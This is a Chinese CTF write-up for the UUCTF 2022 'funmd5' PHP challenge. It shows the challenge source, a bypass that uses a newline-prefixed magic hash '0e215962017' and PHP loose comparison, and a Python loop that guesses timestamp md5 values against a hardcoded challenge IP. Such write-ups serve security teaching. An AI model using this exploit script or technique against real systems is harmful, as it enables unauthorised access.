【UUCTF 2022 新生赛】funmd5

幽默md5“条件竞争”

题目

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
    $sub=substr($time,-1);
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){
        $md5[0]=substr($md5[0],$sub);
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
            echo "well!you win again!now flag is yours.<br>";
            echo $flag;
        }
        else{
            echo $md5[0];
            echo "oh!no!maybe you need learn more PHP!";
        }
    }
    else{
        echo "this is your md5:$md5[0]<br>";
        echo "maybe you need more think think!";
    }
}
else{
    highlight_file(__FILE__);
    $sub=strlen($md5[0]);
    echo substr($guessmd5,0,5)."<br>";
    echo "plase give me the md5!";
}
?>
c73c0
plase give me the md5!

思路

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
//从字符串的开始(^)到结束($)匹配任何以0e为子串的字符串，并将其替换

if(preg_match('/0e/',$md5[0])){
//检查变量$md5数组的第一个元素是否包含子串0e

可以绕过preg_replace

md5[0]应该传入%0a0e215962017，但是我们又多了一个%0a 换行符，通过上面这行代码 $md 5[0]=substr（$md 5[0]，$sub）;

可以在 $sub=1的时候，执行会达到删去%0a的作用

得到flag，要满足的第二个条件为：$md 5[1]===$guessmd 5

通过脚本实现

经验

import requests
import time
import hashlib
s = requests.session()

while True:
    url = "http://43.143.7.127:28150/?md5[0]=%0a0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())
    res = s.get(url=url).text
    print(res)
    if 'well' in res:
        print(res)
        break
    time.sleep(0.5)